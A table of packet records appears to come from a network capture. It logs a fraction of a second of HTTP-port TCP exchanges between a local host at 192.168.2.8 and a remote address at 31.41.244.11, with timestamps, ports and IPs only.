Dec 16, 2024 13:16:22.119844913 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.120810032 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.120855093 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.120891094 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.120928049 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.121849060 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.121896029 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.122004032 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.122046947 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.122992039 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.123040915 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.123116970 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.123156071 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.124059916 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.124106884 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.124222040 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.124262094 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.125149012 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.125204086 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.125264883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.125303984 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.126219034 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.126275063 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.126306057 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.126347065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.127325058 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.127363920 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.127393007 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.127418995 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.128412008 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.128456116 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.128459930 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.128498077 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.129354954 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.129400015 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.129494905 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.129533052 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.130439043 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.130482912 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.130554914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.130593061 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.131520033 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.131565094 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.131644964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.131686926 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.132682085 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.132699966 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.132745981 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.132771015 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.133702040 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.133763075 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.133838892 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.133882046 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.134891033 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.134948015 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.135040998 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.135082006 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.135839939 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.135885954 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.135924101 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.135965109 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.136848927 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.136897087 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.136900902 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.136938095 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.137932062 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.138010025 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.138077021 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.138120890 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.139108896 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.139173985 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.139275074 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.139322042 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.140307903 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.140320063 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.140384912 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.141140938 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.141206980 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.141300917 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.141346931 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.142208099 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.142272949 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.142307997 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.142348051 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.143281937 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.143341064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.143400908 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.143440962 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.144357920 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.144413948 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.144419909 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.144448996 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.145416975 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.145467997 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.145505905 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.145551920 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.146507025 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.146560907 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.146600962 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.146637917 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.147564888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.147624969 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.147675037 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.147716045 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.148668051 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.148740053 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.148760080 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.148794889 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.149701118 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.149756908 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.149801016 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.149847984 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.150779963 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.150835991 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.150882959 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.150919914 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.151889086 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.151932955 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.151999950 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.152039051 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.152926922 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.153002024 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.153007984 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.153043985 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.153968096 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.154011965 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.154036045 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.154073000 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.155081034 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.155123949 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.155247927 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.155289888 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.156140089 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.156186104 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.156306028 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.156343937 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.157253981 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.157305002 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.157325983 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.157363892 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.158262968 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.158304930 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.158480883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.158523083 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.159357071 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.159415960 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.159476042 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.159512997 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.160435915 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.160484076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.160511017 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.160546064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.161453009 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.161494970 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.161564112 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.161602020 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.162523031 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.162573099 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.162615061 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.162652969 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.163661957 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.163705111 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.163708925 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.163743973 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.164673090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.164717913 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.164762020 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.164798021 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.165714979 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.165757895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.165822029 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.165858030 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.166802883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.166848898 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.166913986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.166950941 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.167862892 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.167907953 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.167979002 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.168019056 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.168926954 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.168982983 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.169053078 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.169090986 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.170021057 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.170042038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.170079947 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.170099020 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.171119928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.171169996 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.171216011 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.171260118 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.172174931 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.172236919 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.172267914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.172312021 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.173212051 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.173265934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.308676004 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.308753967 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.308758974 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.308798075 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.309139967 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.309180975 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.309345961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.309386015 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.309422016 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.309454918 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.310442924 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.310483932 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.310637951 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.310673952 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.311475039 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.311517954 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.311522961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.311558962 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.312516928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.312557936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.312649012 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.312689066 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.313612938 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.313657045 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.313738108 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.313774109 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.314681053 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.314749956 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.314799070 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.314835072 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.315800905 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.315850973 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.315933943 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.315973043 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.316804886 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.316843987 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.316920042 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.316962957 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.317905903 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.317950964 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.318067074 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.318104029 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.318958044 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.319005966 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.319051027 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.319088936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.320018053 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.320063114 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.320141077 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.320178986 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.321166992 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.321228981 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.321257114 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.321301937 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.322173119 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.322230101 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.322319031 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.322359085 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.323219061 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.323265076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.323348045 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.323389053 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.324304104 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.324351072 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.324572086 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.324616909 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.325463057 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.325509071 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.325622082 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.325665951 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.326451063 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.326503992 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.326570988 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.326606989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.327560902 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.327615023 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.327681065 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.327723026 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.328603029 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.328661919 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.328726053 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.328763008 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.329668045 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.329714060 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.329787970 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.329828978 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.330862999 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.330913067 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.330970049 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.331007957 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.331969976 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.332016945 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.332061052 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.332103014 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.332926035 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.332992077 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.333024979 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.333061934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.333972931 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.334036112 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.334214926 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.334258080 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.335011959 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.335055113 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.335081100 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.335102081 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.336085081 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.336131096 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.336137056 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.336169004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.337151051 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.337197065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.337444067 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.337485075 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.338193893 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.338252068 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.338287115 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.338329077 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.339328051 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.339384079 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.339466095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.339504004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.340328932 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.340377092 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.340450048 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.340497971 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.341398954 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.341459990 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.341588020 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.341634989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.342678070 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.342729092 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.342793941 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.342834949 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.343558073 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.343610048 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.343662977 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.343702078 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.344607115 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.344655991 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.344758987 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.344799995 CET	49724	80	192.168.2.8	31.41.244.11
